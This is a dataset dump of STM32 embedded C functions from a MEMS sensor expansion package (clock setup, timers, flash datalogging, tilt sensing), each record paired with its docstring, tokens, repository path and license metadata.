/** * @brief Period elapsed callback * @param htim pointer to a TIM_HandleTypeDef structure that contains * the configuration information for TIM module. * @retval None */
@brief Period elapsed callback @param htim pointer to a TIM_HandleTypeDef structure that contains the configuration information for TIM module. @retval None
[ "@brief", "Period", "elapsed", "callback", "@param", "htim", "pointer", "to", "a", "TIM_HandleTypeDef", "structure", "that", "contains", "the", "configuration", "information", "for", "TIM", "module", ".", "@retval", "None" ]
void HAL_TIM_PeriodElapsedCallback(TIM_HandleTypeDef *htim) { if (htim->Instance == TIM_AR) { sensor_read_request = 1; } }
[ "void", "HAL_TIM_PeriodElapsedCallback", "(", "TIM_HandleTypeDef", "*", "htim", ")", "{", "if", "(", "htim", "->", "Instance", "==", "TIM_AR", ")", "{", "sensor_read_request", "=", "1", ";", "}", "}" ]
@brief Period elapsed callback @param htim pointer to a TIM_HandleTypeDef structure that contains the configuration information for TIM module.
[ "@brief", "Period", "elapsed", "callback", "@param", "htim", "pointer", "to", "a", "TIM_HandleTypeDef", "structure", "that", "contains", "the", "configuration", "information", "for", "TIM", "module", "." ]
[]
[ { "param": "htim", "type": "TIM_HandleTypeDef" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "htim", "type": "TIM_HandleTypeDef", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8cf2e7d5d3dd63a1f1cbb52f4d1d1cd053886612
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Examples/IKS01A1/LSM6DS3_Pedometer/Src/cube_hal_l4.c
[ "MIT" ]
C
SystemClock_Config
void
void SystemClock_Config(void) { RCC_ClkInitTypeDef RCC_ClkInitStruct = {0}; RCC_OscInitTypeDef RCC_OscInitStruct = {0}; /* MSI is enabled after System reset, activate PLL with MSI as source */ RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_MSI; RCC_OscInitStruct.MSIState = RCC_MSI_ON; RCC_OscInitStruct.MSIClockRange = RCC_MSIRANGE_6; RCC_OscInitStruct.MSICalibrationValue = RCC_MSICALIBRATION_DEFAULT; RCC_OscInitStruct.PLL.PLLState = RCC_PLL_ON; RCC_OscInitStruct.PLL.PLLSource = RCC_PLLSOURCE_MSI; RCC_OscInitStruct.PLL.PLLM = 1; RCC_OscInitStruct.PLL.PLLN = 40; RCC_OscInitStruct.PLL.PLLR = 2; RCC_OscInitStruct.PLL.PLLP = 7; RCC_OscInitStruct.PLL.PLLQ = 4; if(HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK) { /* Initialization Error */ Error_Handler(); } /* Select PLL as system clock source and configure the HCLK, PCLK1 and PCLK2 clocks dividers */ RCC_ClkInitStruct.ClockType = (RCC_CLOCKTYPE_SYSCLK | RCC_CLOCKTYPE_HCLK | RCC_CLOCKTYPE_PCLK1 | RCC_CLOCKTYPE_PCLK2); RCC_ClkInitStruct.SYSCLKSource = RCC_SYSCLKSOURCE_PLLCLK; RCC_ClkInitStruct.AHBCLKDivider = RCC_SYSCLK_DIV1; RCC_ClkInitStruct.APB1CLKDivider = RCC_HCLK_DIV1; RCC_ClkInitStruct.APB2CLKDivider = RCC_HCLK_DIV1; if(HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_4) != HAL_OK) { /* Initialization Error */ Error_Handler(); } }
/** * @brief System Clock Configuration * @param None * @retval None */
@brief System Clock Configuration @param None @retval None
[ "@brief", "System", "Clock", "Configuration", "@param", "None", "@retval", "None" ]
void SystemClock_Config(void) { RCC_ClkInitTypeDef RCC_ClkInitStruct = {0}; RCC_OscInitTypeDef RCC_OscInitStruct = {0}; RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_MSI; RCC_OscInitStruct.MSIState = RCC_MSI_ON; RCC_OscInitStruct.MSIClockRange = RCC_MSIRANGE_6; RCC_OscInitStruct.MSICalibrationValue = RCC_MSICALIBRATION_DEFAULT; RCC_OscInitStruct.PLL.PLLState = RCC_PLL_ON; RCC_OscInitStruct.PLL.PLLSource = RCC_PLLSOURCE_MSI; RCC_OscInitStruct.PLL.PLLM = 1; RCC_OscInitStruct.PLL.PLLN = 40; RCC_OscInitStruct.PLL.PLLR = 2; RCC_OscInitStruct.PLL.PLLP = 7; RCC_OscInitStruct.PLL.PLLQ = 4; if(HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK) { Error_Handler(); } RCC_ClkInitStruct.ClockType = (RCC_CLOCKTYPE_SYSCLK | RCC_CLOCKTYPE_HCLK | RCC_CLOCKTYPE_PCLK1 | RCC_CLOCKTYPE_PCLK2); RCC_ClkInitStruct.SYSCLKSource = RCC_SYSCLKSOURCE_PLLCLK; RCC_ClkInitStruct.AHBCLKDivider = RCC_SYSCLK_DIV1; RCC_ClkInitStruct.APB1CLKDivider = RCC_HCLK_DIV1; RCC_ClkInitStruct.APB2CLKDivider = RCC_HCLK_DIV1; if(HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_4) != HAL_OK) { Error_Handler(); } }
[ "void", "SystemClock_Config", "(", "void", ")", "{", "RCC_ClkInitTypeDef", "RCC_ClkInitStruct", "=", "{", "0", "}", ";", "RCC_OscInitTypeDef", "RCC_OscInitStruct", "=", "{", "0", "}", ";", "RCC_OscInitStruct", ".", "OscillatorType", "=", "RCC_OSCILLATORTYPE_MSI", ";", "RCC_OscInitStruct", ".", "MSIState", "=", "RCC_MSI_ON", ";", "RCC_OscInitStruct", ".", "MSIClockRange", "=", "RCC_MSIRANGE_6", ";", "RCC_OscInitStruct", ".", "MSICalibrationValue", "=", "RCC_MSICALIBRATION_DEFAULT", ";", "RCC_OscInitStruct", ".", "PLL", ".", "PLLState", "=", "RCC_PLL_ON", ";", "RCC_OscInitStruct", ".", "PLL", ".", "PLLSource", "=", "RCC_PLLSOURCE_MSI", ";", "RCC_OscInitStruct", ".", "PLL", ".", "PLLM", "=", "1", ";", "RCC_OscInitStruct", ".", "PLL", ".", "PLLN", "=", "40", ";", "RCC_OscInitStruct", ".", "PLL", ".", "PLLR", "=", "2", ";", "RCC_OscInitStruct", ".", "PLL", ".", "PLLP", "=", "7", ";", "RCC_OscInitStruct", ".", "PLL", ".", "PLLQ", "=", "4", ";", "if", "(", "HAL_RCC_OscConfig", "(", "&", "RCC_OscInitStruct", ")", "!=", "HAL_OK", ")", "{", "Error_Handler", "(", ")", ";", "}", "RCC_ClkInitStruct", ".", "ClockType", "=", "(", "RCC_CLOCKTYPE_SYSCLK", "|", "RCC_CLOCKTYPE_HCLK", "|", "RCC_CLOCKTYPE_PCLK1", "|", "RCC_CLOCKTYPE_PCLK2", ")", ";", "RCC_ClkInitStruct", ".", "SYSCLKSource", "=", "RCC_SYSCLKSOURCE_PLLCLK", ";", "RCC_ClkInitStruct", ".", "AHBCLKDivider", "=", "RCC_SYSCLK_DIV1", ";", "RCC_ClkInitStruct", ".", "APB1CLKDivider", "=", "RCC_HCLK_DIV1", ";", "RCC_ClkInitStruct", ".", "APB2CLKDivider", "=", "RCC_HCLK_DIV1", ";", "if", "(", "HAL_RCC_ClockConfig", "(", "&", "RCC_ClkInitStruct", ",", "FLASH_LATENCY_4", ")", "!=", "HAL_OK", ")", "{", "Error_Handler", "(", ")", ";", "}", "}" ]
@brief System Clock Configuration @param None @retval None
[ "@brief", "System", "Clock", "Configuration", "@param", "None", "@retval", "None" ]
[ "/* MSI is enabled after System reset, activate PLL with MSI as source */", "/* Initialization Error */", "/* Select PLL as system clock source and configure the HCLK, PCLK1 and PCLK2\r\n clocks dividers */", "/* Initialization Error */" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
a8745d9d7d143ed544419702222c742e5d34324d
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/CarryPosition/Src/DemoDatalog.c
[ "MIT" ]
C
Datalog_SetAddress
flash_state_t
flash_state_t Datalog_SetAddress(void) { uint32_t flash_sector = MOTION_CP_FLASH_ADD; Address_CP2F += Datalog_SearchNextFreeMemoryIndex(&flash_sector); if (Address_CP2F > MOTION_CP_FLASH_LESSTHAN2HH) { return FLASH_FULL; } else { return FLASH_READY; } }
/** * @brief Set current data storage address to the first free address in flash memory * @param None * @retval Flash memory state (FLASH_FULL/FLASH_READY) */
@brief Set current data storage address to the first free address in flash memory @param None @retval Flash memory state (FLASH_FULL/FLASH_READY)
[ "@brief", "Set", "current", "data", "storage", "address", "to", "the", "first", "free", "address", "in", "flash", "memory", "@param", "None", "@retval", "Flash", "memory", "state", "(", "FLASH_FULL", "/", "FLASH_READY", ")" ]
flash_state_t Datalog_SetAddress(void) { uint32_t flash_sector = MOTION_CP_FLASH_ADD; Address_CP2F += Datalog_SearchNextFreeMemoryIndex(&flash_sector); if (Address_CP2F > MOTION_CP_FLASH_LESSTHAN2HH) { return FLASH_FULL; } else { return FLASH_READY; } }
[ "flash_state_t", "Datalog_SetAddress", "(", "void", ")", "{", "uint32_t", "flash_sector", "=", "MOTION_CP_FLASH_ADD", ";", "Address_CP2F", "+=", "Datalog_SearchNextFreeMemoryIndex", "(", "&", "flash_sector", ")", ";", "if", "(", "Address_CP2F", ">", "MOTION_CP_FLASH_LESSTHAN2HH", ")", "{", "return", "FLASH_FULL", ";", "}", "else", "{", "return", "FLASH_READY", ";", "}", "}" ]
@brief Set current data storage address to the first free address in flash memory @param None @retval Flash memory state (FLASH_FULL/FLASH_READY)
[ "@brief", "Set", "current", "data", "storage", "address", "to", "the", "first", "free", "address", "in", "flash", "memory", "@param", "None", "@retval", "Flash", "memory", "state", "(", "FLASH_FULL", "/", "FLASH_READY", ")" ]
[]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
a8745d9d7d143ed544419702222c742e5d34324d
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/CarryPosition/Src/DemoDatalog.c
[ "MIT" ]
C
Datalog_SaveCP2Mem
null
unsigned char Datalog_SaveCP2Mem(uint8_t index_max) { #if (defined (USE_STM32F4XX_NUCLEO)) #define SECTOR7_ADD 0x8060000 uint32_t Address = SECTOR7_ADD; #elif (defined (USE_STM32L4XX_NUCLEO)) uint32_t Address = 0x80FF800; #else #error Not supported platform #endif unsigned char Success=1; uint8_t idx; uint8_t nword; HAL_FLASH_Unlock(); #if (defined (USE_STM32F4XX_NUCLEO)) uint32_t* lpdata = 0; /* Clear pending flags (if any) */ __HAL_FLASH_CLEAR_FLAG(FLASH_FLAG_EOP | FLASH_FLAG_OPERR | FLASH_FLAG_WRPERR | FLASH_FLAG_PGAERR | FLASH_FLAG_PGPERR|FLASH_FLAG_PGSERR); #elif (defined (USE_STM32L4XX_NUCLEO)) uint64_t* lpdata = 0; /* Clear pending flags (if any) */ __HAL_FLASH_CLEAR_FLAG(FLASH_FLAG_ALL_ERRORS); #else #error Not supported platform #endif for(idx=0; idx < index_max; idx++) { #if (defined (USE_STM32F4XX_NUCLEO)) lpdata = (uint32_t*)&DataByte_CP[idx]; #elif (defined (USE_STM32L4XX_NUCLEO)) lpdata = (uint64_t*)&DataByte_CP[idx]; #else #error Not supported platform #endif if (Address_CP2F < (uint32_t)(Address - index_max * sizeof(DataByte_CP_t))) { #if (defined (USE_STM32F4XX_NUCLEO)) for (nword = 0; nword < (sizeof(DataByte_CP_t)/4); nword ++) { if (HAL_FLASH_Program(TYPEPROGRAM_WORD, Address_CP2F, *(lpdata + nword)) == HAL_OK) Address_CP2F += 4; else { /* Error occurred while writing data in Flash memory */ Error_Handler(); } } #elif (defined (USE_STM32L4XX_NUCLEO)) for (nword = 0; nword < (sizeof(DataByte_CP_t)/8); nword ++) { if (HAL_FLASH_Program(FLASH_TYPEPROGRAM_DOUBLEWORD, Address_CP2F, *(lpdata + nword)) == HAL_OK) Address_CP2F += 8; else { /* Error occurred while writing data in Flash memory */ Error_Handler(); } } #else #error Not supported platform #endif } else { Success = 0; } } HAL_FLASH_Lock(); return Success; }
/** * @brief Save the Carry Position Code values to memory * @param index_max Index to last data record in buffer * @retval 1 in case of success, 0 otherwise */
@brief Save the Carry Position Code values to memory @param index_max Index to last data record in buffer @retval 1 in case of success, 0 otherwise
[ "@brief", "Save", "the", "Carry", "Position", "Code", "values", "to", "memory", "@param", "index_max", "Index", "to", "last", "data", "record", "in", "buffer", "@retval", "1", "in", "case", "of", "success", "0", "otherwise" ]
unsigned char Datalog_SaveCP2Mem(uint8_t index_max) { #if (defined (USE_STM32F4XX_NUCLEO)) #define SECTOR7_ADD 0x8060000 uint32_t Address = SECTOR7_ADD; #elif (defined (USE_STM32L4XX_NUCLEO)) uint32_t Address = 0x80FF800; #else #error Not supported platform #endif unsigned char Success=1; uint8_t idx; uint8_t nword; HAL_FLASH_Unlock(); #if (defined (USE_STM32F4XX_NUCLEO)) uint32_t* lpdata = 0; __HAL_FLASH_CLEAR_FLAG(FLASH_FLAG_EOP | FLASH_FLAG_OPERR | FLASH_FLAG_WRPERR | FLASH_FLAG_PGAERR | FLASH_FLAG_PGPERR|FLASH_FLAG_PGSERR); #elif (defined (USE_STM32L4XX_NUCLEO)) uint64_t* lpdata = 0; __HAL_FLASH_CLEAR_FLAG(FLASH_FLAG_ALL_ERRORS); #else #error Not supported platform #endif for(idx=0; idx < index_max; idx++) { #if (defined (USE_STM32F4XX_NUCLEO)) lpdata = (uint32_t*)&DataByte_CP[idx]; #elif (defined (USE_STM32L4XX_NUCLEO)) lpdata = (uint64_t*)&DataByte_CP[idx]; #else #error Not supported platform #endif if (Address_CP2F < (uint32_t)(Address - index_max * sizeof(DataByte_CP_t))) { #if (defined (USE_STM32F4XX_NUCLEO)) for (nword = 0; nword < (sizeof(DataByte_CP_t)/4); nword ++) { if (HAL_FLASH_Program(TYPEPROGRAM_WORD, Address_CP2F, *(lpdata + nword)) == HAL_OK) Address_CP2F += 4; else { Error_Handler(); } } #elif (defined (USE_STM32L4XX_NUCLEO)) for (nword = 0; nword < (sizeof(DataByte_CP_t)/8); nword ++) { if (HAL_FLASH_Program(FLASH_TYPEPROGRAM_DOUBLEWORD, Address_CP2F, *(lpdata + nword)) == HAL_OK) Address_CP2F += 8; else { Error_Handler(); } } #else #error Not supported platform #endif } else { Success = 0; } } HAL_FLASH_Lock(); return Success; }
[ "unsigned", "char", "Datalog_SaveCP2Mem", "(", "uint8_t", "index_max", ")", "{", "#if", "(", "defined", "(", "USE_STM32F4XX_NUCLEO", ")", ")", "\n", "#define", "SECTOR7_ADD", " 0x8060000\r", "\n", "uint32_t", "Address", "=", "SECTOR7_ADD", ";", "#elif", "(", "defined", "(", "USE_STM32L4XX_NUCLEO", ")", ")", "\n", "uint32_t", "Address", "=", "0x80FF800", ";", "#else", "#error", " Not supported platform\r", "\n", "#endif", "unsigned", "char", "Success", "=", "1", ";", "uint8_t", "idx", ";", "uint8_t", "nword", ";", "HAL_FLASH_Unlock", "(", ")", ";", "#if", "(", "defined", "(", "USE_STM32F4XX_NUCLEO", ")", ")", "\n", "uint32_t", "*", "lpdata", "=", "0", ";", "__HAL_FLASH_CLEAR_FLAG", "(", "FLASH_FLAG_EOP", "|", "FLASH_FLAG_OPERR", "|", "FLASH_FLAG_WRPERR", "|", "FLASH_FLAG_PGAERR", "|", "FLASH_FLAG_PGPERR", "|", "FLASH_FLAG_PGSERR", ")", ";", "#elif", "(", "defined", "(", "USE_STM32L4XX_NUCLEO", ")", ")", "\n", "uint64_t", "*", "lpdata", "=", "0", ";", "__HAL_FLASH_CLEAR_FLAG", "(", "FLASH_FLAG_ALL_ERRORS", ")", ";", "#else", "#error", " Not supported platform\r", "\n", "#endif", "for", "(", "idx", "=", "0", ";", "idx", "<", "index_max", ";", "idx", "++", ")", "{", "#if", "(", "defined", "(", "USE_STM32F4XX_NUCLEO", ")", ")", "\n", "lpdata", "=", "(", "uint32_t", "*", ")", "&", "DataByte_CP", "[", "idx", "]", ";", "#elif", "(", "defined", "(", "USE_STM32L4XX_NUCLEO", ")", ")", "\n", "lpdata", "=", "(", "uint64_t", "*", ")", "&", "DataByte_CP", "[", "idx", "]", ";", "#else", "#error", " Not supported platform\r", "\n", "#endif", "if", "(", "Address_CP2F", "<", "(", "uint32_t", ")", "(", "Address", "-", "index_max", "*", "sizeof", "(", "DataByte_CP_t", ")", ")", ")", "{", "#if", "(", "defined", "(", "USE_STM32F4XX_NUCLEO", ")", ")", "\n", "for", "(", "nword", "=", "0", ";", "nword", "<", "(", "sizeof", "(", "DataByte_CP_t", ")", "/", "4", ")", ";", "nword", "++", ")", "{", "if", "(", "HAL_FLASH_Program", "(", "TYPEPROGRAM_WORD", ",", "Address_CP2F", ",", "*", "(", "lpdata", "+", "nword", ")", ")", "==", "HAL_OK", ")", "Address_CP2F", "+=", "4", ";", "else", "{", "Error_Handler", "(", ")", ";", "}", "}", "#elif", "(", "defined", "(", "USE_STM32L4XX_NUCLEO", ")", ")", "\n", "for", "(", "nword", "=", "0", ";", "nword", "<", "(", "sizeof", "(", "DataByte_CP_t", ")", "/", "8", ")", ";", "nword", "++", ")", "{", "if", "(", "HAL_FLASH_Program", "(", "FLASH_TYPEPROGRAM_DOUBLEWORD", ",", "Address_CP2F", ",", "*", "(", "lpdata", "+", "nword", ")", ")", "==", "HAL_OK", ")", "Address_CP2F", "+=", "8", ";", "else", "{", "Error_Handler", "(", ")", ";", "}", "}", "#else", "#error", " Not supported platform\r", "\n", "#endif", "}", "else", "{", "Success", "=", "0", ";", "}", "}", "HAL_FLASH_Lock", "(", ")", ";", "return", "Success", ";", "}" ]
@brief Save the Carry Position Code values to memory @param index_max Index to last data record in buffer @retval 1 in case of success, 0 otherwise
[ "@brief", "Save", "the", "Carry", "Position", "Code", "values", "to", "memory", "@param", "index_max", "Index", "to", "last", "data", "record", "in", "buffer", "@retval", "1", "in", "case", "of", "success", "0", "otherwise" ]
[ "/* Clear pending flags (if any) */", "/* Clear pending flags (if any) */", "/* Error occurred while writing data in Flash memory */", "/* Error occurred while writing data in Flash memory */" ]
[ { "param": "index_max", "type": "uint8_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "index_max", "type": "uint8_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
515c77da89ba4805c3d3dd48b394014b112f6377
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/TiltSensing/Src/main.c
[ "MIT" ]
C
MX_TIM_TL_Init
void
static void MX_TIM_TL_Init(void) { #define PERIOD_50HZ ((uint8_t)39) #if (defined (USE_STM32F4XX_NUCLEO)) /* 84 MHZ CPU clock */ #define PRESCALER_50HZ ((uint16_t)41999) #elif (defined (USE_STM32L4XX_NUCLEO)) /* 80 MHZ CPU clock */ #define PRESCALER_50HZ ((uint16_t)39999) #else #error Not supported platform #endif TIM_ClockConfigTypeDef sClockSourceConfig; TIM_MasterConfigTypeDef sMasterConfig; TL_TimHandle.Instance = TIM_TL; TL_TimHandle.Init.Prescaler = PRESCALER_50HZ; TL_TimHandle.Init.CounterMode = TIM_COUNTERMODE_UP; TL_TimHandle.Init.Period = PERIOD_50HZ; TL_TimHandle.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1; HAL_TIM_Base_Init(&TL_TimHandle); sClockSourceConfig.ClockSource = TIM_CLOCKSOURCE_INTERNAL; HAL_TIM_ConfigClockSource(&TL_TimHandle, &sClockSourceConfig); sMasterConfig.MasterOutputTrigger = TIM_TRGO_RESET; sMasterConfig.MasterSlaveMode = TIM_MASTERSLAVEMODE_DISABLE; HAL_TIMEx_MasterConfigSynchronization(&TL_TimHandle, &sMasterConfig); }
/** * @brief TIM_TL init function. * @param None * @retval None * @details This function initializes the Timer used to synchronize the TL algorithm. */
@brief TIM_TL init function. @param None @retval None @details This function initializes the Timer used to synchronize the TL algorithm.
[ "@brief", "TIM_TL", "init", "function", ".", "@param", "None", "@retval", "None", "@details", "This", "function", "initializes", "the", "Timer", "used", "to", "synchronize", "the", "TL", "algorithm", "." ]
static void MX_TIM_TL_Init(void) { #define PERIOD_50HZ ((uint8_t)39) #if (defined (USE_STM32F4XX_NUCLEO)) #define PRESCALER_50HZ ((uint16_t)41999) #elif (defined (USE_STM32L4XX_NUCLEO)) #define PRESCALER_50HZ ((uint16_t)39999) #else #error Not supported platform #endif TIM_ClockConfigTypeDef sClockSourceConfig; TIM_MasterConfigTypeDef sMasterConfig; TL_TimHandle.Instance = TIM_TL; TL_TimHandle.Init.Prescaler = PRESCALER_50HZ; TL_TimHandle.Init.CounterMode = TIM_COUNTERMODE_UP; TL_TimHandle.Init.Period = PERIOD_50HZ; TL_TimHandle.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1; HAL_TIM_Base_Init(&TL_TimHandle); sClockSourceConfig.ClockSource = TIM_CLOCKSOURCE_INTERNAL; HAL_TIM_ConfigClockSource(&TL_TimHandle, &sClockSourceConfig); sMasterConfig.MasterOutputTrigger = TIM_TRGO_RESET; sMasterConfig.MasterSlaveMode = TIM_MASTERSLAVEMODE_DISABLE; HAL_TIMEx_MasterConfigSynchronization(&TL_TimHandle, &sMasterConfig); }
[ "static", "void", "MX_TIM_TL_Init", "(", "void", ")", "{", "#define", "PERIOD_50HZ", " ((uint8_t)39)\r", "\n", "#if", "(", "defined", "(", "USE_STM32F4XX_NUCLEO", ")", ")", "\n", "#define", "PRESCALER_50HZ", " ((uint16_t)41999)\r", "\n", "#elif", "(", "defined", "(", "USE_STM32L4XX_NUCLEO", ")", ")", "\n", "#define", "PRESCALER_50HZ", " ((uint16_t)39999)\r", "\n", "#else", "#error", " Not supported platform\r", "\n", "#endif", "TIM_ClockConfigTypeDef", "sClockSourceConfig", ";", "TIM_MasterConfigTypeDef", "sMasterConfig", ";", "TL_TimHandle", ".", "Instance", "=", "TIM_TL", ";", "TL_TimHandle", ".", "Init", ".", "Prescaler", "=", "PRESCALER_50HZ", ";", "TL_TimHandle", ".", "Init", ".", "CounterMode", "=", "TIM_COUNTERMODE_UP", ";", "TL_TimHandle", ".", "Init", ".", "Period", "=", "PERIOD_50HZ", ";", "TL_TimHandle", ".", "Init", ".", "ClockDivision", "=", "TIM_CLOCKDIVISION_DIV1", ";", "HAL_TIM_Base_Init", "(", "&", "TL_TimHandle", ")", ";", "sClockSourceConfig", ".", "ClockSource", "=", "TIM_CLOCKSOURCE_INTERNAL", ";", "HAL_TIM_ConfigClockSource", "(", "&", "TL_TimHandle", ",", "&", "sClockSourceConfig", ")", ";", "sMasterConfig", ".", "MasterOutputTrigger", "=", "TIM_TRGO_RESET", ";", "sMasterConfig", ".", "MasterSlaveMode", "=", "TIM_MASTERSLAVEMODE_DISABLE", ";", "HAL_TIMEx_MasterConfigSynchronization", "(", "&", "TL_TimHandle", ",", "&", "sMasterConfig", ")", ";", "}" ]
@brief TIM_TL init function.
[ "@brief", "TIM_TL", "init", "function", "." ]
[ "/* 84 MHZ CPU clock */", "/* 80 MHZ CPU clock */" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
515c77da89ba4805c3d3dd48b394014b112f6377
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/TiltSensing/Src/main.c
[ "MIT" ]
C
TL_Data_Handler
void
static void TL_Data_Handler(TMsg *Msg) { MTL_input_t data_in; uint32_t tickCurr = HAL_GetTick(); static MTL_output_t data_out = {.Angles_Array = {0.0f, 0.0f, 0.0f}};; static uint32_t tickPrev = 0; if (Sensors_Enabled & ACCELEROMETER_SENSOR) { /* Convert acceleration from [mg] to [g] */ data_in.AccX = (float)ACC_Value.AXIS_X / 1000.0f; data_in.AccY = (float)ACC_Value.AXIS_Y / 1000.0f; data_in.AccZ = (float)ACC_Value.AXIS_Z / 1000.0f; data_in.deltatime_s = (float)(tickCurr - tickPrev) / 1000.0f; /* Run Tilt Sensing algorithm */ BSP_LED_On(LED2); MotionTL_manager_run(&data_in); MotionTL_manager_getAngles(&data_out, angleMode); BSP_LED_Off(LED2); FloatToArray(&Msg->Data[55], data_out.Angles_Array[0]); FloatToArray(&Msg->Data[59], data_out.Angles_Array[1]); FloatToArray(&Msg->Data[63], data_out.Angles_Array[2]); tickPrev = tickCurr; } }
/** * @brief TiltSensing data handler * @param Msg - Tilt Sensing data part of the stream * @retval None */
@brief TiltSensing data handler @param Msg - Tilt Sensing data part of the stream @retval None
[ "@brief", "TiltSensing", "data", "handler", "@param", "Msg", "-", "Tilt", "Sensing", "data", "part", "of", "the", "stream", "@retval", "None" ]
static void TL_Data_Handler(TMsg *Msg) { MTL_input_t data_in; uint32_t tickCurr = HAL_GetTick(); static MTL_output_t data_out = {.Angles_Array = {0.0f, 0.0f, 0.0f}};; static uint32_t tickPrev = 0; if (Sensors_Enabled & ACCELEROMETER_SENSOR) { data_in.AccX = (float)ACC_Value.AXIS_X / 1000.0f; data_in.AccY = (float)ACC_Value.AXIS_Y / 1000.0f; data_in.AccZ = (float)ACC_Value.AXIS_Z / 1000.0f; data_in.deltatime_s = (float)(tickCurr - tickPrev) / 1000.0f; BSP_LED_On(LED2); MotionTL_manager_run(&data_in); MotionTL_manager_getAngles(&data_out, angleMode); BSP_LED_Off(LED2); FloatToArray(&Msg->Data[55], data_out.Angles_Array[0]); FloatToArray(&Msg->Data[59], data_out.Angles_Array[1]); FloatToArray(&Msg->Data[63], data_out.Angles_Array[2]); tickPrev = tickCurr; } }
[ "static", "void", "TL_Data_Handler", "(", "TMsg", "*", "Msg", ")", "{", "MTL_input_t", "data_in", ";", "uint32_t", "tickCurr", "=", "HAL_GetTick", "(", ")", ";", "static", "MTL_output_t", "data_out", "=", "{", ".", "Angles_Array", "=", "{", "0.0f", ",", "0.0f", ",", "0.0f", "}", "}", ";", ";", "static", "uint32_t", "tickPrev", "=", "0", ";", "if", "(", "Sensors_Enabled", "&", "ACCELEROMETER_SENSOR", ")", "{", "data_in", ".", "AccX", "=", "(", "float", ")", "ACC_Value", ".", "AXIS_X", "/", "1000.0f", ";", "data_in", ".", "AccY", "=", "(", "float", ")", "ACC_Value", ".", "AXIS_Y", "/", "1000.0f", ";", "data_in", ".", "AccZ", "=", "(", "float", ")", "ACC_Value", ".", "AXIS_Z", "/", "1000.0f", ";", "data_in", ".", "deltatime_s", "=", "(", "float", ")", "(", "tickCurr", "-", "tickPrev", ")", "/", "1000.0f", ";", "BSP_LED_On", "(", "LED2", ")", ";", "MotionTL_manager_run", "(", "&", "data_in", ")", ";", "MotionTL_manager_getAngles", "(", "&", "data_out", ",", "angleMode", ")", ";", "BSP_LED_Off", "(", "LED2", ")", ";", "FloatToArray", "(", "&", "Msg", "->", "Data", "[", "55", "]", ",", "data_out", ".", "Angles_Array", "[", "0", "]", ")", ";", "FloatToArray", "(", "&", "Msg", "->", "Data", "[", "59", "]", ",", "data_out", ".", "Angles_Array", "[", "1", "]", ")", ";", "FloatToArray", "(", "&", "Msg", "->", "Data", "[", "63", "]", ",", "data_out", ".", "Angles_Array", "[", "2", "]", ")", ";", "tickPrev", "=", "tickCurr", ";", "}", "}" ]
@brief TiltSensing data handler @param Msg - Tilt Sensing data part of the stream @retval None
[ "@brief", "TiltSensing", "data", "handler", "@param", "Msg", "-", "Tilt", "Sensing", "data", "part", "of", "the", "stream", "@retval", "None" ]
[ "/* Convert acceleration from [mg] to [g] */", "/* Run Tilt Sensing algorithm */" ]
[ { "param": "Msg", "type": "TMsg" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "Msg", "type": "TMsg", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
515c77da89ba4805c3d3dd48b394014b112f6377
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/TiltSensing/Src/main.c
[ "MIT" ]
C
GetEstimatedMeasTime
void
void GetEstimatedMeasTime(float *time_s, uint32_t nRecords) { float odr = 0.0f; uint8_t status = 0; if ((BSP_ACCELERO_IsInitialized(ACCELERO_handle, &status) == COMPONENT_ERROR || status == 0) || (BSP_ACCELERO_Sensor_Enable(ACCELERO_handle) == COMPONENT_ERROR)) { *time_s = 0.0f; return; } BSP_ACCELERO_Get_ODR(ACCELERO_handle, &odr); if (odr > 0.001f) { *time_s = (float)nRecords / odr; } }
/** * @brief Get estimated measurement time * @param time_s Pointer to time in [s] * @param nRecords Number of records taken * @retval None */
@brief Get estimated measurement time @param time_s Pointer to time in [s] @param nRecords Number of records taken @retval None
[ "@brief", "Get", "estimated", "measurement", "time", "@param", "time_s", "Pointer", "to", "time", "in", "[", "s", "]", "@param", "nRecords", "Number", "of", "records", "taken", "@retval", "None" ]
void GetEstimatedMeasTime(float *time_s, uint32_t nRecords) { float odr = 0.0f; uint8_t status = 0; if ((BSP_ACCELERO_IsInitialized(ACCELERO_handle, &status) == COMPONENT_ERROR || status == 0) || (BSP_ACCELERO_Sensor_Enable(ACCELERO_handle) == COMPONENT_ERROR)) { *time_s = 0.0f; return; } BSP_ACCELERO_Get_ODR(ACCELERO_handle, &odr); if (odr > 0.001f) { *time_s = (float)nRecords / odr; } }
